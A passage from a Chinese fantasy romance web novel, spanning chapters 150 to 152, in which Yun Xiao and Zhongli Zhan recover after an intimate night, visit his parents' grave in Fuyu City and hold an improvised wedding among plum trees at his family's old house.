察觉到她身下的鲜花已经七零八碎,再这样磨下去云绡的身体就得直接和石床接触,石床冰冷,说不定还会磨破她的皮肤,钟离湛暂缓下来,俯身吻了吻她的唇。 云绡不明所以,她的思绪还在冲撞中混沌,尚未回神便觉得眼前一阵眩晕,下一瞬她已经坐起身,与钟离湛的位置调换。 云绡愣住,她就这么坐着,险些说不出话来。 不过看见钟离湛比她好不到哪儿去的神情,云绡又对她能俯视他的这个角度十分满意,就仿佛这一场纵情是她来掌控,而钟离湛对她予取予求。 十指交握,缠绵至极。 钟乳石掉入水潭内的水珠有一次溅起了层层涟漪,而涟漪中的少女随着水纹荡漾开的层次,起起伏伏。 - 云绡再睁眼就是天黑了。 圆月高悬,她身上盖着的是钟离湛的外衫,恐怕是怕 云绡冷着,所以石床上还铺垫了许多柔软的干草叶。 她身上的花汁已经被清洗干净了,只是还有些钟离湛留下的痕迹比较明显。 云绡的四肢发酸,一时没能起身,斜斜慵懒地倚靠在洞门边的钟离湛听到了动静,将目光从月亮上收回。 他的衣裳穿得也不仔细,衣襟敞开着,像是故意要露出牙印给云绡看。 云绡看见了,她的脸蹭一下就红了。 钟离湛身上的每一个牙印,都是她以为自己已经承受到极限,身体给出泛滥的回应时无意识地咬出来的。 以前和钟离湛玩儿快乐的事情时,云绡也没想过这种事情竟然会让人完全失去对自我的控制,那个时候发出了什么声音,说出了哪些话,事后想起来都是模模糊糊的,完全忘我了。 见云绡脸红,钟离湛竟然也没忍住脸红了起来。 他抱着云绡睡着的时候十分满足,就像是魂魄和身体融合后还有些滞涩的地方,全都因为这一场酣畅淋漓的爱欲给磨合完全。 云绡当时睡过去了,他也抱着人看了很长时间,也亲了数不清多少下,总觉得怎么黏糊都不够。 一觉醒来,钟离湛的意识便在欲海中彻底清醒,走到山洞口吹了会儿风,脊骨处传来的密密麻麻的疼让他忍不住伸了个拦腰,而后静静等这弥漫着疼意的羁绊,彻底稳定下来。 “你饿了吗?”他看了一眼早就已经冷掉的鱼头鱼尾,这东西也不能再给云绡吃了,不过眼下情况尴尬,如果她真的饿了……他们还得一起走。 云绡讷讷地点头,手指无意识地在衣裳下搓着发酸的腿。 “那我们收拾一下,离开这里吧。”钟离湛道。 云绡愣了瞬,抬眸看向他,有些别扭道:“我、我走不动。” 钟离湛的耳尖都红透了,他走到云绡跟前,背过身,蹲下。 云绡:“……” 她一巴掌拍在了钟离湛的背上,心想他以前也不是这么笨拙啊,但身体的本能还是更亲近钟离湛,巴掌才落下,人就已经扑在他的背上了。 钟离湛当然知道她那巴掌的用意,把人背好了之后又掂了掂,让云绡更贴近地搂着他的脖子,他才解释道:“我倒是想让你休息一下,不过好像从现在开始就不太行了,我试了一下,如果你睡着,我走不出这个山洞呢。” 云绡的心跳蓦然漏了一拍,她盯着钟离湛红透了的耳廓,一时没出声。 她没问钟离湛这话是什么意思,他说得也不甚在意,云绡打算亲自试。 这是云绡苏醒后第一次离开那个山洞,钟离湛带她入了山洞下的一片密林,云绡看了一眼林子里的植物猜到了这里应当是曦族境内。 冬季过去了,她还没有经历过除岁便已经春风消融了冬雪,万物复苏。 这里人烟稀少,林子小潭里的鱼儿有很多,如钟离湛说的,经过一个冬季它们养得非常肥美,很容易就能被人捕捉到。 云绡坐在一株老槐树下,槐树根凸出地面一截,扭曲的生长姿势天然成了一个可以倚靠的小靠椅。 钟离湛离她很近,就在靠着她这边的水岸边上双指并拢,以指画符,打算捉鱼。 云绡看着他的背影像是在发呆,只有她自己知道此刻她的心绪有多凌乱,两息之后云绡豁然起身,她没转身,只盯着钟离湛的背影往后退。 一步、两步、三步…… 第五步,云绡往后退去的那一瞬,刚用叶符捉到鱼的钟离湛忽而像是被什么东西拉扯住一样往后踉跄了两下。 他毫无准备,勉强站稳,结果就是刚到手的鱼滑不溜手地又蹦回了水潭中,溅起水花,惊醒周围的鱼群,那些鱼顿时四散游开。 钟离湛都有些愣住了,他看了一眼自己满手的水迹,还没回过神来时那边云绡又往后退了一大步。 于是云绡便看见钟离湛以一个才站稳的姿势踮着一只脚还有些凌乱地跟着退了一大步。这一步他转过身来,与已经退出了槐树遮挡下,站在了月光里的云绡面对面。 云绡的呼吸都停了,她的心跳得很快,她知道了自己印证出来的结果,却还是不可置信地再度后退了两步。 她脚下跨出的每一寸,都与钟离湛朝她靠近的距离相同。 云绡的神色有些呆滞,她的双眼直勾勾地看着钟离湛,略歪着头,思绪在这个时候发堵,她猜到了原因,可仍然惊异,困惑。 方才钟离湛是背对着她捉鱼的,他不会知道她的下一步动作,也不存在他为了哄她高兴故意配合她。 所以…… 钟离湛朝云绡笑了一下,他的步伐很大,走到云绡的跟前刚刚好就是第十步。 二人的衣袂相贴,只要云绡深呼吸几口气,便能以心口抵住钟离湛的胸膛。 他们脚尖对着脚尖,早就已经习惯了彼此如此相近。 “不想吃鱼?或者我们在林子里找找其他的野物?”钟离湛说话时一直看着云绡。 云绡见他鼻梁上还挂着水珠,抬手替他轻轻抹去,又问:“为什么?” 他好不容易才获得的自由。 钟离湛无所谓地耸了耸肩:“你开心吗?” 云绡的表情看不出多少开心,因为爱意让她懂得了如何与所爱之人共情,她这一刻无法为自己开心起来,她甚至有些为钟离湛难过。 可她还是遵循本心地点头,这就是她想要的,就在昨天她醒来没看见钟离湛时,还有那么一刻她想过要如何才能将他捆在自己身边。 见云绡点头,钟离湛才道:“开心是要笑的啊,绡绡。” 他的手指点着云绡的脸颊,又道:“你开心我就开心。” 云绡一下子跳了起来,她的双手紧紧地搂着钟离湛的肩背,双腿环住他的腰,整个人如同抱树一样抱住了他。 她抱得太用力,钟离湛居然还能耍宝地伸出舌头发出快要被勒死的‘额’声,他托着云绡的臀怕她摔下去,又一只手安抚地拍着她的后背,驱散她在这一刻心中所有的负面情绪。 钟离湛道:“你要谋杀亲夫啊?” 云绡的声音闷闷地传入他的耳中:“可你……你以后都得受制于我了。” 她试过了,如今她和钟离湛的关系一如回到了钟离湛还是魂魄时期,她是主导的那个。她走钟离湛才能走,若无不可抗力的外力拉扯钟离湛,云绡一个人就可以永远将他留在原地。 “绡绡,我有一对恩爱的祖父祖母,也有一对恩爱的父母,在我从小的教育里,男人就得受制于妻子的,这是我家的祖训。”钟离湛一本正经地胡说八道。 云绡有些好笑,可她脸上笑着,心里却泛着酸意。 除却酸意,还有掩藏在对他不忍之下的满足感,她的安全感的确被钟离湛这一举动大大填满。他怎么就能那么敏锐地察觉到她的想法,又能这么果断地做出决定? “你怎么做到的?”云绡问他。 钟离湛短暂地回忆起云绡意识昏沉的时候,他在她耳边说了很多话,那个时候她已经完全没了思考能力,稀里糊涂地回应了。 钟离湛那时就对她说,他将他的自由交给她,他希望用这微不足道的自由,换得云绡终生的爱。 钟离湛也有隐秘的欢喜,云绡表现得对他越在意,越占有,他心底的不安才会得到满足,渐渐抚平。 云绡有她的顾虑,钟离湛亦是如此。 她是此间人,如今她还是凌国的圣女,且不论日后是否会继位成为女帝,可至少从今以后她的身份都将成为坚定凌国的一座山。 而他钟离湛的时代……早已在那场金雨中彻底落幕。 苍生如今挺好的,卸下的枷锁,他也不想再背起来。 到底是云绡离不开他,还是他离不开云绡呢?钟离湛不想去细想这个问题,他只知道他很爱她,爱到……倾其所有,让她高兴。 后来云绡熟睡过去,钟离湛为她清理身体的时候,从身体里割下了一截骨,在上面刻下咒文,将之埋在了云绡的肋下。 若云绡自己去摸,或许还能摸出来她贴近心脏的地方有一根软骨,从此以后除了她自己,谁也无法取出来。 钟离湛说得轻松,一言带过:“就和之前一样啊,当初如何将剑骨交给你,如今也是如何做的。” 云绡心知他在避重就轻,因为当初她接受他的剑骨时疼得都昏过去了,而这一觉醒来,她除了一些特殊地方的酸痛之外,并没有其他不适。 云绡看着钟离湛,知道那样的疼大约是他自己承受了。 她不想让钟离湛的心意白费,也不想用多愁善感的态度怜悯他的付出,她知道这是因为钟离湛爱她,所以云绡接受得很快。 “肚子饿了。”云绡转开话题。 二人对视一眼,心照不宣地笑了瞬。 钟离湛到底还是想办法给她捉了条鱼,这次是明火烤制,鱼皮的焦香味叫云绡食指大动。 而这一次,钟离湛也终于能陪她一起吃了。 云绡看着长腿大敞,握着木枝咬烤鱼的钟离湛,心内生出了欢喜的新鲜感。他似乎有很多面还待她去发掘,而他的每一面,她都好喜欢。 云绡将自己的鱼和钟离湛换:“你的看上去更香,我要吃你的。” 钟离湛直接就 和她换了,问也不问一句。 云绡反而有些愣住了,她问:“你怎么……” 钟离湛咬了口云绡刚咬过的鱼,抬手擦去她鼻尖在啃鱼时蹭上的一点儿焦黑,对她道:“听妻子的话也是我钟离氏的祖训。” 左右钟离氏如今就剩他一个,有多少祖训也都由他说了算。 第150章 云绡已经听他说了两次“妻子”这个称呼了。 想到不久前的一场荒唐,再看眼下沉沉的天色,云绡也不记得他们到底闹了多久……但不管如何说,他们之间也的确有了夫妻之实。 既然有夫妻之实,那肯定得有夫妻之名了! 今夜无云,天空都是暗蓝色的,一轮明月投在林间显得特别亮。他们烤鱼就在水潭边上,火堆倒影的光和月色的光一同洒入水面,粼粼波光打在二人的脸上和身上,于静谧中荡漾出斑驳银花。 云绡想了会儿,开口问道:“我们何时成亲?” 钟离湛因为这话差点儿被鱼刺卡住,他抿了抿嘴里的鱼肉,舔到了细小的鱼刺可还是选择直接将鱼肉吞下去。 喉咙微痒,也可能是微疼,他清了清嗓子道:“等我们先去东洲,祭拜祖先,我再向你提亲。” 云绡一时睁大了双眼:“还要提亲啊?” 钟离湛挑眉:“怎么能不提亲?” 云绡确实没想那么多,因为她和钟离湛的相识也不是循规蹈矩的相看,且云绡是公主,她自幼就知道像她这样不被看重的公主最后只会成为宫中上位者用来拉拢朝臣的手段之一。 从云绡离开皇宫、离开京都之后就没想过再过回那种生活,自然也不会认为她需要和钟离湛也按照三媒六聘的步骤来。 不过既然钟离湛想,云绡当然得配合,她眨了眨眼,问钟离湛:“你打算向谁提我的亲?” 钟离湛张嘴,当然两个字就卡在喉咙里了,一时没能发出来。 按照他那个时候的规矩,二人成亲当然得双方家庭的长辈先坐在一起商量好吉时吉日包括聘礼陪嫁等细节,不过他全族尽无,云绡又双亲不在…… “我好像还真不适合向你的谁提亲。”钟离湛说着,突然笑了一下:“总不能向云光憧提亲吧?” 在血缘上来说,云光憧的确是云绡的兄长,可从亲缘上而言,云绡在这世上没有任何一个亲人。 仲卿倒可以充当一下云绡的长辈……钟离湛刚打算开口,云绡便知道他要提谁,连忙摇头道:“你别……别把他给吓死了。” 仲卿年纪已经不小了,今年六十九,虚七十了。 要他暂当云绡的长辈他或许可以,但若要他知道他还得坐在上位等着钟离湛来提亲,若真按照繁文缛节来,钟离湛还得对他用上敬语,这个念头只要敢提,仲卿便敢当场吓个魂飞魄散给她看。 仲卿还蛮好的,云绡希望他能多活几年。 钟离湛从云绡这几句话中就听出了她真正的想法。 “那就在钟离氏的老宅,在我从小长大的地方行礼,可好?”钟离湛询问道。 云绡从小长大的地方并无美好回忆,而钟离湛此生最无忧的时光便是在符玉城的时候了。他希望他和云绡的结合基于美好,日后回忆起来不会掺杂着其他印记,所思所忆都是开心的。 不拘于世俗礼节,不服于条条框框。 他和云绡其实都是这样的人。 那就以钟离氏老宅底下藏着的珍宝作为他的聘礼,就让陪着钟离氏世世代代的先辈后生的老宅建筑一起见证他们的婚礼。钟离湛也是钟离氏中的一员,若他和云绡生在同一时期,若他和云绡仍然相爱,他们也会在那里成亲,度过一生。 - 云绡的身体恢复得很快,吃完鱼又休息了会儿身上便不觉得难受了,既然决定好要去符玉城,不如立时出发。 也是行走在深林里云绡才知道如今他们身处的林子曾是钟离湛的王宫旧址。 两千多年足以改变任何地方的风貌。 钟离湛带着云绡脱离意识仙境后从云端而下,他首先想要带云绡来的地方便是他曾经的王宫,这里是他和云绡第一次见面的地方。 他第一次感受到云绡的存在,便是在王宫沐浴的暗殿里。钟离湛当时疲惫于应对各族奴役尾人族的桩桩件件,其中还牵扯了曦族中他的一些远方亲族,数日不曾休息的他原本只打算在池水里泡去乏意。 可没想到合眼半混沌之际,便好似被什么东西侵占了意识,他本能地问了一声“谁”,而后便陷入了黑暗。 当时他的意识本就疲惫,云绡的灵魂占据他身体的那一刻如同一块巨石将他砸昏。后来很长一段时间钟离湛都在尝试该如何重新掌握自己的身体,他只觉得自己的意识陷入混沌,每日做的事偶尔能看见,却都看不清,也无法制止。 再后来,云绡第二次出现时他便立刻察觉到了她,她知道她认得他,而她肯定不存在于当下。 钟离湛对云绡产生了好奇,也因为云绡的出现,对这个世界产生了质疑。 在意识仙境里,钟离湛的魂魄回到自己的身躯之后,曾经和云绡相处过的回忆也都统统回到了脑海,包括他猜测她的身份、他对她的信任、还有不知不觉为她所吸引的心跳。 对于钟离湛而言,他生命的转折由云绡的魂魄借九星连月阵来到他身体里开始,从王宫他们的相遇开始。 那是初遇,也是重逢,于钟离湛的心底覆上了温暖的暧昧。 钟离湛带着云绡来到王宫旧址,这里已经成了一片密林。在他死后,湖族登帝,不过短短几十年便推翻了他留在这世间的所有力量,待到与钟离湛亲厚的那一批人也老死成为过去,他的名声彻底恶化。 曾经的曦帝人皇王宫旧址在有心人的挑拨之下被人掠夺一空,又一把火烧光什么都不剩,久而久之便成了如今的模样。 地陷,石长,河流分支,都将这里改得面目全非。 其实时间不光改了王宫旧址,曾经云绡借着钟离湛身体走过的曦族所有地方,除却东洲的符玉城之外,其他都与过去完全不同了。 符玉城之所以和过去一样,也是因为城墙上那些钟离湛父母用心刻画的符文,这才将数千年的古城保留了下来,基本还是原来的模样。 这里已经没有云绡和钟离湛的回忆,就连当初她种下,他养活的海棠树也早就不知所踪。这里多了一座山,所以钟离湛就将她暂时安置在山洞中。 “真的什么都不剩了。”云绡看着从未有人进入过的深林,林中连路都没有,他们此刻走的还是钟离湛用符烧出来的小道,否则荆棘丛生,烂路泥泞,他们都无从下脚。 云绡的声音有些低落:“当初烧掉你王宫的人,一定也是想要销毁你曾利国利民的证据。” 否则若王宫还在,那些钟离湛在位期间所办大事的卷宗还在,总有清醒的人知道他其实是个好人、好君上。 “烧掉了王宫也不是全无利处,那些灰烬成了养分,才能让这里于两千多年里长成茂密深林。”钟离湛笑道:“绡绡,那个时候我的王宫里没有植物,只有你种的海棠,而这片林子里有各式各样的树木,会长出各种味道的果实,还开了许多我从未见过的花。我觉得……这些都比空落的房子要有意义。” 钟离湛的确是这样想的,他采摘那些花垫在云绡身下时,看见了繁杂的种类和颜色都是他过去连想象也想不出的形状。 它们健康、色彩鲜艳、盛大、繁茂,比起那一株仅开过三朵花的海棠要更美,而今的世界……也比他活着的那个世界,拥有更多兴盛的机遇。 云绡望着他,月色在钟离湛的脸上落下一层银灰,显得他额心处的纤细红痕也覆盖了一层朦胧。云绡眨了眨眼,开口道:“你好像菩萨。” 话音才落她又赶忙补上一句道:“我以前说你像菩萨那是嘲讽你的,因为我 觉得你很傻,一个好人再怎么正义善良也都得先保全自己,所以我每一次嘴上说你菩萨,其实心里都在骂你笨蛋。” 钟离湛:“……” 他知道,她一直都在心里这样腹诽过他。 “但是钟离湛,你真的好像菩萨。”她认真道:“像我小时候去过的皇都寺中白玉雕砌的菩萨像,受人供奉,吃香火的那种。” 菩萨像很高,额上天然一块红玉,工匠巧手没有破坏那块红玉,让红玉成了他额心的法相,白玉磨得轻薄如纱从头顶垂落遮住了佛像真容,一如此刻落在钟离湛身上的月光。 云绡想,难怪天道会偏向钟离湛,宁可继续睁一只眼闭一只眼,舍去那些被他精心孕育诞生出来的神明,也要依钟离湛的心意,许他一次公平。 神明不会觉得摧毁宫殿,摧毁过去所有功绩,会不如后世人能多一片吃喝不愁,能嗅鸟语花香的林重要。 可他就是这样想的。 没有伤感,没有遗憾,也没有失落不甘。 他的所有愤怒和戾气,都用来对付苍穹,而他对苍生又有天然的温柔与怜悯。 钟离湛也不管他在云绡心里到底是真笨蛋,还是真菩萨,他只问云绡:“你就说这林子里的鱼好不好吃?” 云绡点头:“好吃!” 钟离湛唔了声:“那就足够了。” - 王宫离东洲有些距离,二人出了深林一路往东洲方向走,便是用上了符,他们到达符玉城外也还是花了三天时间。 这三天半落春雨,草木复苏,树枝上挂着嫩芽,泥地里偶尔得见一两朵漂亮的小花。 也是到了东洲遇见人烟了,云绡才知道很快就要立春了,一旦立春,冬天就是真正的过去。 南方的天较于北方暖得更快,云绡已经不用披着毛茸茸的大氅取暖,她的身上换上一件火红的毛领半臂,看上去像个喜庆的红鳞锦鲤。 这衣裳是才到东洲于江边集市上买的,要价不高,面料也不算顶好,毛领是兔毛,好在做工精巧。做这半臂的人有一把刺绣的好手艺,红衣上到处都是金线银丝针针分明的忍冬花,活灵活现,意为新生。 云绡买了,当下就穿了。 她蹦蹦跳跳地问钟离湛:“好看吗?” 钟离湛觉得她当真像个红毛兔子,尤其是她的头发因为干燥生电,编的辫子有些炸毛,可爱得人心里软得一塌糊涂。 钟离湛点头,极为认真地回应:“好看,好看极了。” 卖衣裳的大娘不光有巧手,还有一张巧嘴,见这二人气质非凡,亲昵劲儿旁若无人,像是外来的新婚夫妻,便道:“公子可是与您夫人来东洲游玩的?” 钟离湛喜欢这个称呼,虽然喊他公子显小了些,但云绡是他夫人没错。 所以他也耐着性子,含笑回答一句:“来祭祖。” “祭祖……这、这……我这儿还有一件珍珠色的半臂,上头绣的是白玉兰,也很适合夫人,夫人可要看看?”大娘心想,来祭祖的哪儿有穿得像朵红艳艳的山茶花?还是素色的为好。 云绡虽不清楚细节礼节,但也知道大娘的用意,她低头看了一眼身上色彩鲜艳的衣裳,想着要不要换一件更合适的。 她还没开口,钟离湛反而道:“就这件好。” 他看着云绡,解释:“衬得你如娇花,更显我占便宜,钟离氏在上的列祖列宗看见了只会为我高兴。” 至于那些同样埋在那儿的后生小辈……谁管他们怎么看待穿红衣祭祖。 钟离湛道:“我钟离氏的祖训有云,穿得越明艳,便代表对所见之人越尊敬,说明你为见他精心打扮而来。” 又加一句:“况且我们来此也为成亲,哪儿有成亲不穿红衣?” 云绡抿嘴,笑得眉眼弯弯,也不戳穿钟离湛的胡说八道。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 150-154 第151章 钟离氏的祖祖辈辈都埋在符玉城外靠着霖江边上的一座小山上,那山不属于望月山的范围,所以上次云绡和钟离湛来过东洲,却没真的靠近过那座小山。 彼时钟离湛没想过会再回来,他心中有结,失去了一部分的记忆,有些回忆变得模糊了,他便总觉得最后一次和至亲之人见面又分别是不欢而散。 他知这世间有天道有神明亦有灵魂,钟离湛相信死去的人不过是去到了另一个世界,他们仍然能看见或听见记挂他们之人的声音。 那个时候他只远远看着小山,不靠近,也是怕父母失望。 如今关于云绡在他身体里时的所作所为全都想起来了,钟离湛也清楚地知道,或许从他那次离开符玉城时,他的父母就一直都期盼着他能够再回来。 亲生孩子,宠爱长大,又有什么龃龉是说不开的呢。 他也有些庆幸,今日的自己是个完好的人,而非灵魂之态,否则他若以灵魂站在父母面前,他们又该有多伤心? 绕过符玉城,一路走到霖江边上,天色已经不早了。 冬才过,春将始,霖江边上一阵阵香气袭来。黑石的缝隙里生出了一片绿丛,绿丛之间独杆而立的水仙花长势惊人,纯洁半透的花瓣伴着金色的花蕊,在夕阳余晖下透着薄薄的橙色。 水仙花的香味不复杂却很浓郁,带着清甜顺风飘散至霖江两岸。 云绡特地采了一束带到了山上,钟离湛也不约束她,反而觉得一身火红的云绡捧着白色的水仙很温柔,也很漂亮。 云绡对去见钟离湛的父母亲人也没什么好紧张的,毕竟她曾今亲眼见过他们,她知道钟离湛的父母都是很好的人,她用钟离湛的身体拥抱过他们。 即便云绡和他们相处的时间很短暂,可她仍然记得钟离湛父亲肩膀的宽度和钟离湛母亲身上的香味。 他的父母已经去世两千多年了。 东洲百姓对钟离氏并无恶意,钟离氏祖坟陵园也没有被外人破坏过,只是当年钟离氏的后人尚在时还不时有人打扫,自从谢尧钰去了渡仙城被困在那里之后,山里的野草已经长得比人还高。 曾经走过数千年的石板路仍然坚固,只是杂草将其遮掩,还是钟离湛一纸黄符烧上去这才将小路显现出来。 阶梯顺着山体分段,每一段上都有一代钟离氏嫡系亲人的埋身之地。靠近山下的地方碑文还算清晰,行至半山腰那些碑文就模糊许多了。 很久都没有人前来祭拜过他们了,但这座山上长了不少野果树,都是一些鸟雀带来的种子,经岁月生长成天然的贡品,落在钟离氏后人的墓碑前。 钟离湛的父母埋得很高,和他的祖父祖母只差一层台阶。 这里几乎已经到达了陵墓小山的顶峰,太阳彻底落山,天空是一半深蓝 和一半红紫色交融。 钟离湛无需看墓碑上的字,他只看那墓碑边角上一朵几乎看不出形状的银杏纹路便知道那就是他父母永远沉睡的地方。 他的母亲喜爱银杏树,那树比较好养活,只要生长了,便能抵抗时节与恶劣的气候,还能长出那个时代里难得的鲜艳的金色树叶。 钟离氏的老宅里就种了许多,如今那些树死的死,砍的砍,早就不在了。 但他父亲对母亲深情,不论他们中的谁先过世,他都会将这些细节融入到母亲的所有里。 生同衾,死同穴,母亲的墓碑较宽,旁边甚至没有其他碑了,可见他们二人不光是埋在了一起,甚至共用了一个墓碑。 钟离湛垂眸看着斑驳的墓碑,心里很不合时宜地想起,日后他与云绡也要如此,或许如此就能求一个来生仍有羁绊,生生世世长长久久地不分离。 云绡见钟离湛盯着墓碑发呆,她还以为他认错了坟,而后钟离湛便伸手轻轻抚摸了一下墓碑,将上面的枯叶野草全都拂去了一边。 云绡问他:“是这里吗?” “嗯。”钟离湛点头。 他虽有胆子来见,却不知要如何开口。男子与父母之情较于女子而言更为含蓄,钟离湛正在心中措辞,至少得先喊一声爹娘,那边云绡就噗通一声跪下了。 钟离湛:“……!” 云绡跪得很干脆,她手里还捧着花,结结实实地就给钟离湛的爹娘磕了个头,钟离湛伸出去想要拉她的手悬在半空,一时僵住。 云绡其实也不太懂是不是应该这样做,但她至少知道对待已经故去的长辈,她得先跪拜,而她对钟离湛的父母,于心底也是有感激的。 他们教养了钟离湛,也相信孩子的选择,若非有他们将符玉城城墙上每一块砖都精心雕刻出了符文,符玉城早就不复存在了。哪怕只见过一面,云绡也能感受到钟离湛对他父母的爱意,和他父母对他的爱意,那是云绡此生都不曾感受过的孺慕之情。 云绡的膝盖下没有黄金,她尊敬钟离湛的父母,既然要和钟离湛成亲,她当然也是要祭拜“爹娘”的,跪下,是她对他们最起码的尊重。 但跪下磕头之后,云绡就不知道自己该说什么了。 她抬起头,一双明亮的眼带着几分求助地看向钟离湛,希望他能说点儿什么。 钟离湛就这么看着她,心像是被她狠狠撞击,有些酸涩,也有些柔软的温暖。 他曾和父母开不了口时的话,云绡说给了他父母听,他父母对他的些许误解,云绡也替他正名,也是云绡知他心意,看似冲动地替他拥抱了他的父母,那一瞬所有隔阂冰释前嫌。 这回仍然是她,在他踌躇不前时替他做下了决定,破除他所有忸怩,将他教她正确表达爱意的方式,反哺给了他自己。 钟离湛掀开衣袂也跪在了云绡的身边,他对着墓碑深深地磕了个头,再起身后轻声开口:“父亲,母亲,她是云绡,是于我而言,如母亲之于父亲一样重要的人。” 云绡抿着唇,眨巴眨巴眼,露出一抹浅笑:“对,我就是云绡。” “儿本早该来看望你们的,可命运捉弄,直至今日我才能真正地站在你们的面前。我永远都记得父母的教导,历经多年,仍记得要做一个正直纯良之人,希望而今的我未叫你们失望。”钟离湛说着,又牵起云绡的手,紧紧地握着道:“儿有相爱之人,儿之喜悦,魂处异界的你们若能感知一二分,便知儿之欢欣足幸余生。” 云绡听完,深知自己说不出如钟离湛这样文绉绉又动心动情之话来,干脆连连点头附和道:“对对,我也是,我也是这样想的。” 钟离湛闻言噗嗤一声笑了出来,他眉目弯弯地看向云绡,水仙花衬得她面容娇艳。她笑的时候一直看着钟离湛,如她自己说的,她也和钟离湛有同样想法。 “春里地寒,久跪伤腿,儿舍不得,谅父母亦体贴儿与新妇,这就先起身了。”钟离湛笑容还未退去,便厚着脸皮说这句话,拽着云绡的胳膊让她站起来。 云绡眨巴眼,眼神询问他:这样也可以? 钟离湛点头,差点儿就要当着他爹娘的面再搬出钟离氏组训有云。 他看着云绡还捧在怀里的水仙花,又卖给爹娘一个云绡的好,道:“绡绡来见你们,知灵魂不食五谷,金银亦无用,便带了一束新鲜的水仙花,望此花之娇爹娘见之欢喜,此花之香爹娘嗅之心仪。” 云绡心想,他若当初也拿出现在这样的态度来,也就不用她还得费心帮他和他爹娘缓和关系。 可转念一想彼时钟离湛肩负甚重,有些事钟离氏知晓得越少反而越安全。他和他父母过于亲近的话,那些云上巨人说不定就会把心思打在他爹娘的身上,让他爹娘无意间做出与何舜一样的选择,那会成为他们一生最大的痛苦。 云绡正欲将花放在墓碑前,她才弯腰山林间就起风了。夕阳最后一丝微光洒在狂风舞动的野草上,吹乱了云绡和钟离湛的发丝、衣袂,也将云绡带了一路上来的水仙花吹散。 水仙花的花瓣与花体几乎连为一体,吹散时也是整片的花朵往外飞散,纯白的水仙花落在草野丛生的山林间,一层层阶梯飞舞而下。 就好像是钟离湛的父母信了他的话,使了一阵风托起这些水仙花,散扬至钟离氏的陵园间的每一寸土地上,借此机会介绍自己的儿媳妇,也让所有人沾一沾云绡带来的花香。 云绡和钟离湛想的一样。 这虽然是他们祭拜先祖的日子,却也是他们大喜的日子,他们都觉得这一阵风送来的是欢欣的祝福。 - 从钟离氏的陵园山丘上离开,天色已晚,云绡和钟离湛踏着月色下山。 二人心情都不错,牵着手,走起路来顺着云绡的步伐还有些摇摇摆摆的。 符玉城这个时候城门早就落锁了,尤其是在望月山上起火,湖族又出了一些变故,圣仙之名传开成了吃人的恶鬼之后,符玉城天一黑就不许任何人进出。 钟离湛和云绡还是按照老办法,翻墙进了城中,摸黑回到老宅。 老宅和他们上次离开没有什么变化,可见当时他们离开东洲后,司徒音璃手底下的那些人并没有继续打钟离氏的宝藏的主意。 未经打理的院落上一次来看还是一片萧条,过了冬天之后万物复苏,院子里的一些花草生出嫩芽,反倒有种渐渐便要欣欣向荣的意味。 也是这个时节云绡才知道原来上次来看时完全不长叶子干枯得仿佛已经死掉的树全都是梅花,多半为红梅,在冬末春初之际还有一些晚开的花朵于夜色中绽放着,释放幽香。 腊梅落了许多,只有零星几点,但红梅仍然娇艳,盛放的花朵与云绡衣裳的颜色相得益彰。 云绡道:“你看,这么刚好,它们是红色的,我也是红色的,今日真是个适合成亲的好日子。” 钟离湛应声前还装模作样地掐指一算,饶为慎重地开口:“唔,的确是顶好的日子。” “只有你!”云绡的目光落在他身上扫了一圈:“只有你半点也不喜庆!” 钟离湛垂眸看了一眼自己身上的衣裳,他习惯穿暗色了,这样才能压得住气场,不过今日这身衣服的确不太合适成亲。 云绡瞥了一眼身旁的梅花,又朝钟离湛额头上那么漂亮的红痕看去,眉眼弯弯有了个好想法! 云绡取下自己头上的发带,而后摘下一些红梅,保留了红梅短短的枝丫,发带打结后将那些梅花穿插其间,做出了一个小小的花冠出来。 她颇为满意自己的创作,点了点头对钟离湛道:“低下头来,我给你戴上。” 钟离湛瞥了一眼红艳艳的花冠,又看向她手中的发带。 云绡的发带还是橙红色的,她喜欢这个颜色,所以穿着打扮都往最热烈的色彩去靠拢。 钟离湛弯下腰低下头,让她将花冠戴在自 己的头顶上。 他没有男人不簪花的想法,钟离湛只知道他又重新拥有了云绡的发带,他的身上也有与云绡相同的颜色。 今日是他们的大好日子,都已经少了那么多礼节,那至少得花团锦簇,让人一眼就能看出来,他们是一对新人。 云绡给钟离湛绑好了花冠,绕着圈欣赏了一番。 钟离湛也很配合她地甩了甩自己略卷曲的发尾,一派恣意公子的模样,直看得云绡双眼发亮,笑盈盈地开口:“哥哥!真好看!” “我很开心,绡绡。”钟离湛深吸一口气,嗅着满胸腔的梅香,慎重道:“天不尽公道,我们不拜天,地未见锦绣,我们也不拜地。今日我们只拜彼此,今后我们携手余生,白首不离。” “说的真好啊,哥哥。”云绡也慎重地点头:“携手余生,白首不离,生生世世,只许彼此。” 第152章 钟离湛喜欢她的那句生生世世,只许彼此。 他知道自己已经算不上凡人了,能入意识仙境,在神明的意识里杀死神明,钟离湛能感受到自己的变化,便是不去掐算,他也知道自己或许会比寻常人要长寿许多。 但不论是凡人还是神明,一生时光再长亦有始末,钟离湛从不认为自己不会死,他仍然生活在天地之间,仍然拥有着炙热的血液和心跳。 钟离湛想过的,用自己曾经创造的同生符为自己谋取和云绡长长久久地在一起的福利,若他是主符,云绡为副,云绡便可以和她共生。 他当然可以如此,但他更怕一旦他生出一点点的私心,会成为他灵魂上的拖累,影响他来生的选择。钟离湛创造的所有符咒都不曾是为了自己,他怜悯世人,怒斥不公,也不是为了自己……有些原则一旦被打破,就再也无法回头了。 他这次能用同生符让自己和云绡长寿,下一次就会为了其他目的,做出同样利己的选择。钟离湛不能确保在今后每一条分叉路上,自己会不会为了能和云绡更长久地在一起,做出一次次错误的决定。 最好的办法,便是将同生符的主副交换,让他跟随着云绡的命运而走,云绡生他则生,云绡死他则死。 钟离湛不用想也知道自己无法面对云绡先他一步离开。 那就在他还活着的时候,极尽所能地去爱云绡,若有来生……他也相信,他和云绡之间的羁绊,会让他们轻易找到彼此,再重新爱上对方。 钟离湛深吸一口气,挺直着脊背。他想要收敛脸上的笑容好显得自己慎重且庄重一些,可面对云绡还有周围一切都在祝福着他们的幸福环境,钟离湛实在忍不住嘴角的笑意,刚憋住便又扬起来。 这要笑不笑的样子,叫云绡歪着头问:“你嘴抽筋啦?” 问完,她眸光一亮,撅着嘴道:“看一下抽筋的嘴巴亲起来是什么感觉。” 钟离湛:“……” 清了清嗓子,钟离湛干脆也不忍笑了,他整理了一翻衣襟袖摆,确定自己此刻并无不妥,这才拱手合礼,手背朝着云绡道弯腰:“向夫人拜首,钟离湛今后,唯夫人马首是瞻。” 